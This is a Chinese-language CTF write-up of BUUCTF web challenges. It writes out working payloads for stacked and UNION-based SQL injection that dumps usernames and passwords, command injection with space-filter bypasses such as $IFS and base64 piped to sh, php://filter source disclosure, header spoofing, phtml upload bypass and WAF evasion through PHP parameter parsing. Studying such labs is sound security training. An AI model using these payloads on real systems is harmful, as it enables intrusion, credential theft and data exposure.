BUUCTF(一)
堆叠注入,绕过||限制
闭合测试
query=1 |
这里输入’没有回显也没有报错
这里发现有过滤,本来想fuzz的发现平台靶机不让扫手工测试吧
发现过滤了union,那么联合注入肯定就不行了.
尝试一下堆叠注入,发现回显了数据库
接着查一下表
但是查字段的时候发现了问题,这里发现from 和 flag 都被过滤了,这怎么注入
这块需要我们对后端的语句进行猜测,通过输入非零数字得到回显和输入其他字符得不到回显来判断出内部的查询语句可能存在有|| ,也就是select 输入的数据|| 内置一个列名 from 表名,进一步猜测即为select post 进去的数据 || flag from flag (含有数据的表名,通过堆叠注入可知),需要注意的是,此时的|| 起到的作用是or 的作用
方法一
输入的内容为 *,1 |
方法二
输入内容为1; set sql_mode=pipes_as_concat;select 1 |
查询当前数据库的sql_mode
这个sql_mode下使用||异或运算符
select 0 || flag from flag; |
当设置sql_mode为PIPES_AS_CONCAT时,将”||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似
set sql_mode=PIPES_AS_CONCAT; |
select 1 || flag from flag; |
sql="select".sql="select".post[‘query’]."||flag from Flag"; |
附加几种常见的sql_mode值的介绍: |
无注释闭合sql注入
打开发现是登录框,直接抓一下数据
发现是像check.php发送请求了,测试下闭合方式
check.php?username=1'&password=1 |
单引号闭合,无括号
万能密码登录一下
check.php?username=admin&password=1' or '1'='1 |
这个解密不出来
查字段数
check.php?username=admin&password=1' union select 1,2,3,4 or '1'='1 |
那么就是三个了,在2这里有回显,这里需要注意这里的1并不是字段1的值而是永真条件的1这里是不能利用的.也可以这么闭合
check.php?username=admin&password=1' union select 1,2,'3 |
接着查数据库
username=admin&password=1' union select 1,database(),'3 |
查表
check.php?username=admin&password=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),'3 |
查字段名
check.php?username=admin&password=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1"),'3 |
得数据
check.php?username=admin&password=1' union select 1,(select group_concat(username,password) from l0ve1ysq1),'3 |
命令执行之进程监控绕过
使用 | 来绕过并使用写入文件的方法二次返回查看结果
123|ls ../../../>test |
查找flag文件的存在
找到之后在通过网页直接访问
http://114.67.175.224:16803/test |
下载下来一个文件
同理查看flag
123|cat /flag>test1 |
linux 空格过滤绕过
BUUCTF[GXYCTF2019]Ping Ping Ping
发现提示ip,那么添加上发现是一个命令执行
?ip=1||ls |
发现flag.php与index.php那么现在就是读取文件了
?ip=1||cat flag.php |
发现过滤了空格,想办法绕过空格,大题有以下思路
cat flag.php |
有时 cat 可能被过滤,那么尝试用 tac,反向输出;或者 linux命令中可以加 \,所以甚至可以 ca\t /fl\ag
?ip=1||cat$IFSflag.php |
发现flag也被过滤
这里尝试了一下只有?ip=1||cat$IFS$1index.php可用 |
|
拼接
ip=1||a=g;cat$IFS$1fla$a.php |
sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh |
这里先对cat flag.php进行base64加密,既然过滤了bash,那就使用sh.sh也是Linux中的shell命令,bash是sh的升级版,在此题我们也可以利用sh,先将flag.php base64编码绕过过滤,后再通过sh命令将其解码即可
内联注释
ip=127.0.0.1;cat$IFS$9`ls` |
反引号里面的命令的输出作为执行
php伪协议使用
看一下源代码,发现有一个连接打开看看
一点就跳过去了,抓包看一下
发现文件,访问一下
<html> |
这里就很简单了直接php伪协议得一下源码就好
?file=php://filter/read=convert.base64-encode/resource=flag.php |
简单webshell连接
添加http请求头
打广告,过分页面上啥也没有,那么接下来就是扫目录或者看源码了,这里翻源码看到一个奇怪的页面
接下来加个Referer头就行了
Referer:https://Sycsecret.buuoj.cn |
改一下浏览器
加个X-Forwarded-For
X-Forwarded-For:127.0.0.1 |
文件头加phtml文件上传
进来是个文件上传,一般主要检查的地方主要是:后缀名 content-type 文件头的部分内容
上传一个php的文件
接下来尝试phtml 加上修改content-type,也可以先上传图片在改名
那是不是检查了文件头呢
然后呢?文件位置呢?
http://2fef9b1d-d14e-48be-b6a8-267aaf53075b.node4.buuoj.cn:81/upload/ |
发现一个目录遍历漏洞
啊这么多
连一下试试
文件头加phtml文件上传
发现文件上传
直接传一个php文件
发现有前段验证,抓包改一下
上传一个phtml的文件
waf参数解析漏洞
一个计算器,小试一下都不行,那么看源码,扫目录
搜了一下.php发现有一个calc.php访问一下得到源码
|
这里需要小小了解一下php的解析规则,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再做解析
也就是说这个waf会对这个num参数进行过滤,如果有危险就直接拦截,但是呢如果我们在num前加一个 空格那么num就会变成 num 也就是空格+num 那么waf就找不到num这个变量,进而无法去过滤.而php在解析参数之前会去掉前面的空格,那么php照样会正确解析.
scandir()
这个命令会列出参数目录中的文件和目录 |
这里就需要使用scandir(‘/‘)来列出文件,但是/被过滤了,那么可以使用chr(47)代替这里的47就是/
在使用var_dump()输出数组的所有信息
/calc.php?%20num=1;var_dump(scandir(chr(47))) |
接着就是使用file_get_contents()函数读取文件了,与上面相似也是使用chr(构造)
/calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) |
php的字符串解析特性
php将查询字符串(在url或正文中)转换为内部$_GET或$_POST.例如:?foo=bar变成Array([foo]=>”bar”).值得注意的是,查询字符串在解析的过程中会将某个字符删除或用下滑线进行替代.
/? news[id%00=42 |
会变成Array([news_id=>42]).如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过
/news.php? news[id%00=42"+AND+1=00_ |
上述php语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中
HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,他会做两件事
删除空白符 |